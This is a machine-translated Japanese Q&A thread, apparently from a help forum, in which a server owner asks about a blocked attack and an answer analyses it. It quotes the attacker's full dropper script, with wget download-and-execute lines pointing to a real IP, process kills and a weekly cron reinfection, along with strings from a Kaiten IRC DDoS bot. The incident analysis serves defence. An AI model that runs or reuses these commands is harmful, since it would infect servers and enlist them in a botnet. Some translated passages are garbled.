失敗したと思われるWebサーバーへの攻撃を阻止しました。攻撃者は次のスクリプトを実行しようとしました:
#!/bin/sh
cd /tmp;cd /dev/shm
wget -q http://221.132.37.26/xx -O ...x
chmod +x ...x
./...x
cd /dev/shm ; wget 221.132.37.26/ru ; bash ru ; rm -rf ru
cd /dev/shm ; wget 221.132.37.26/rr; bash rr; rm -rf rr
killall -9 .a .b .c .d .e .f .g .h .i .j. .k .l .m .n .o .p .q .r .s .t .u .v .x .z .y .w php
killall -9 .rnd
killall -9 .a
killall -9 kernelupdate
killall -9 dev
killall -9 sh
killall -9 bash
killall -9 Apache2
killall -9 httpd
killall -9 cla
killall -9 ka
killall -9 kav
killall -9 m32
killall -9 m64
killall -9 Perl
killall -9 sh
killall -9 sucrack
killall -9 m64 m32 minerd32 minerd64 minerd cla qt64 qt32 clover cron sh wget
kill -9 `pidof .rnd`
kill -9 `pidof .a .b .c .d .e .f .g .h .i .j. .k .l .m .n .o .p .q .r .s .t .u .v .x .z .y .w`
kill -9 `pidof dev`
kill -9 `pidof Perl`
kill -9 `pidof m32`
kill -9 `pidof m64`
kill -9 `pidof ka`
kill -9 `pidof kav`
kill -9 `pidof cla`
kill -9 `pidof sh`
kill -9 `pidof sucrack`
echo "@weekly wget -q http://221.132.37.26/sh -O /tmp/sh;sh /tmp/sh;rm -rd /tmp/sh" >> /tmp/cron
crontab /tmp/cron
rm -rf /tmp/cron
Wgetによって他の3つのshスクリプトをフェッチし、実行し、それらを削除し(追跡の目的で可能)、いくつかのプロセスを強制終了し、毎週実行するようにcronを設定してから削除します(?!)。
ご覧のように、Apacheとsh自体を殺します。 Apacheとshが殺されると攻撃が機能しなくなるので、それは奇妙です。
このペイロードが実際に実行されたことはないと信じる理由があります。
それでも私はまだ安全だということですか? crontab -l
サーバーが危険にさらされていないかどうかを確認します。出力は次のとおりです。
ubuntu@ip-172-31-24-52:~$ crontab -l
no crontab for ubuntu
ubuntu@ip-172-31-24-52:~$ Sudo su
root@ip-172-31-24-52:/home/ubuntu# crontab -l
no crontab for root
最初のURL( http://something.example.com/xx )をダウンロードして実行しました
$ file xx
xx: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), statically linked, for GNU/Linux 2.6.15, not stripped
つまり、これはLinuxマシンで実行することを意図した実行可能プログラムです。 Linuxサーバーを実行していると思います。次に、プログラムの機能を確認しますが、もちろん実行したくありません。簡単な方法は、実行可能ファイルに埋め込まれているすべてのコンピューター命令コードを無視して、人間が読める文字列に含まれている可能性がある文字列を調べることです。だから、走った
$ strings xx | less
[... excerpt ...]
NOTICE %s :Receiving file.
NOTICE %s :Saved as %s
NOTICE %s :Spoofs: %d.%d.%d.%d
NOTICE %s :Spoofs: %d.%d.%d.%d - %d.%d.%d.%d
NOTICE %s :Kaiten wa goraku
NOTICE %s :NICK <nick>
NOTICE %s :Nick cannot be larger than 9 characters.
NICK %s
NOTICE %s :DISABLE <pass>
Disabled
Enabled and awaiting orders
NOTICE %s :Current status is: %s.
NOTICE %s :Already disabled.
NOTICE %s :Password too long! > 254
NOTICE %s :Disable sucessful.
NOTICE %s :ENABLE <pass>
NOTICE %s :Already enabled.
NOTICE %s :Wrong password
NOTICE %s :Password correct.
NOTICE %s :Removed all spoofs
NOTICE %s :What kind of subnet address is that? Do something like: 169.40
NOTICE %s :Unable to resolve %s
NOTICE %s :UDP <target> <port> <secs>
NOTICE %s :Packeting %s.
NOTICE %s :PAN <target> <port> <secs>
NOTICE %s :Panning %s.
NOTICE %s :TSUNAMI <target> <secs>
NOTICE %s :Tsunami heading for %s.
NOTICE %s :UNKNOWN <target> <secs>
NOTICE %s :Unknowning %s.
NOTICE %s :MOVE <server>
NOTICE %s :TSUNAMI <target> <secs> = Special packeter that wont be blocked by most firewalls
NOTICE %s :PAN <target> <port> <secs> = An advanced syn flooder that will kill most network drivers
NOTICE %s :UDP <target> <port> <secs> = A udp flooder
NOTICE %s :UNKNOWN <target> <secs> = Another non-spoof udp flooder
NOTICE %s :NICK <nick> = Changes the nick of the client
NOTICE %s :SERVER <server> = Changes servers
NOTICE %s :GETSPOOFS = Gets the current spoofing
NOTICE %s :SPOOFS <subnet> = Changes spoofing to a subnet
NOTICE %s :DISABLE = Disables all packeting from this client
NOTICE %s :ENABLE = Enables all packeting from this client
NOTICE %s :KILL = Kills the client
NOTICE %s :GET <http address> <save as> = Downloads a file off the web and saves it onto the hd
NOTICE %s :VERSION = Requests version of client
NOTICE %s :KILLALL = Kills all current packeting
NOTICE %s :HELP = Displays this
NOTICE %s :IRC <command> = Sends this command to the server
NOTICE %s :SH <command> = Executes a command
NOTICE %s :Killing pid %d.
TSUNAMI
UNKNOWN
NICK
SERVER
GETSPOOFS
「有効で注文待ち」は、これがサーバーをボットネットノードとして機能させるプログラムであることを示しています。
次にダウンロードするファイル http://something.example.com/r はシェルスクリプトで、次に.tar.gz
ファイルを http://からダウンロードします。 example.hu/ar/64.tgz (または、CPUアーキテクチャーに応じて32.tgz)、それをインストールして実行します。そのアーカイブには3つのファイルが含まれています。
php
インタープリターpnscan
という名前の別のLinux実行可能ファイルrun
を起動するpnscan
という名前のシェルスクリプトそれが行うもう1つのことは、ダウンロードして実行する毎週のcronジョブ http://something.example.com/sh を作成することです。これには、上記で投稿したシェルスクリプトが正確に含まれています。基本的に、cronジョブをアンインストールしない限り、毎週自動的にマシンに再感染します。
コードは、スクリプトキディによってまとめられたように見えます。 pnscan
などの既存のツールをいくつかのシェルスクリプトと結び付けて使用します。 Stuxnet品質のコードではありません。
後で追加した情報から(ApacheサーバーにはPHPサポートがなく、Apacheサーバーは引き続き正常に実行されており、cronジョブがインストールされていません)、コードが実際に実行されなかった可能性がありますその場合は、おそらく大丈夫です!ps ax
を実行して、不審なものが実行されていないかどうかを確認してください。
単純なHTTP POST要求を使用してPHPコードを実行できる脆弱性がApache/PHPで発見されて以来、自動化された攻撃が広く行われ、多数のホストが侵害されました。
これらの攻撃は過去数か月の間に減少しましたが、これらの自動化された攻撃の1つは、使用されたアプローチがワームのように分類できるという事実により、特に興味深いものでした。技術的な部分に入る前に、より高いレベルの攻撃全体に行きましょう。
俳優はkingcope [exploit-db]によってリリースされたエクスプロイトを使用し、ペイロードを変更していくつかのスクリプトとバイナリをダウンロードし、IPv4アドレスのランダムなAブロックのスキャンを開始しました。ホストがApacheを実行していることが判明した場合、悪用の試みが開始され、プロセス全体が最初からやり直されます。これらの攻撃は2013年11月頃に最初に発見されました。
概説された情報に基づいて、それは上記のエクスプロイトを回避するある種のボットネットであるように見えます。